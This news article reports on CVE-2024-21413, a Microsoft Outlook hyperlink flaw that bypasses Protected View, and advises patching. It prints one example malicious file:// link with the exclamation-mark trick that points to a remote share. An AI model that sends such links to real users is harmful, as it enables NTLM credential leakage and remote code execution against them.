Newly Discovered Outlook Flaw Is Trivial to Exploit

A newly discovered critical vulnerability in Microsoft Outlook, CVE-2024-21413, poses a significant threat to users by enabling remote code execution (RCE) through emails with malicious links. This flaw, identified by Check Point researcher Haifei Li, allows threat actors to bypass built-in Microsoft user protections and has likely existed in the wild for at least a decade.

The vulnerability exploits a flaw in the handling of hyperlinks in Outlook emails. Attackers can send emails with hyperlinks that, when clicked, connect to a server they control without triggering Protected View—a feature designed to safeguard users by opening files in a restricted read-only mode.

They do this by altering the file protocol code for a link, inserting an exclamation mark together with some random text after the document extension. For example, a malicious link could be formatted as file:///\\10.10.111.111\test\test.rtf!something">CLICK ME*.

When done correctly, “An attacker could craft a malicious link that bypasses the Protected View Protocol, which leads to the leaking of local NTLM credential information and remote code execution,” as stated by Microsoft.

The low sophistication of the exploit, combined with its potential for high-impact attacks, is what makes it such an immediate concern. In its official notice, Microsoft explains that “An attacker who successfully exploited this vulnerability could gain high privileges, which include read, write, and delete functionality." Consequently, the exploit has a “critical” CVSS score of 9.8/10.

However, Microsoft has recently updated its Exploitation Assessment from “Active Exploitation” to “Exploitation Unlikely”. That being said, users running Outlook are still advised to install the latest security update immediately. At the same time, users should always be cautious of unsolicited emails containing links or attachments.

The security flaw also impacts several other Office products, including Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise, and Microsoft Office 2016 and 2019. These versions are also susceptible to attacks that could lead to unauthorized data access, information theft, and remote code execution. Security updates are available to install for these products as well.

This isn’t the first time Microsoft has left themselves open to exploitation. In September 2023, its AI team mistakenly leaked 38TB of company data via an incorrectly configured link to an Azure bucket of training data. In the same year, a Microsoft Teams vulnerability allowed hackers to freely send malicious links — not too dissimilar to this Outlook exploit.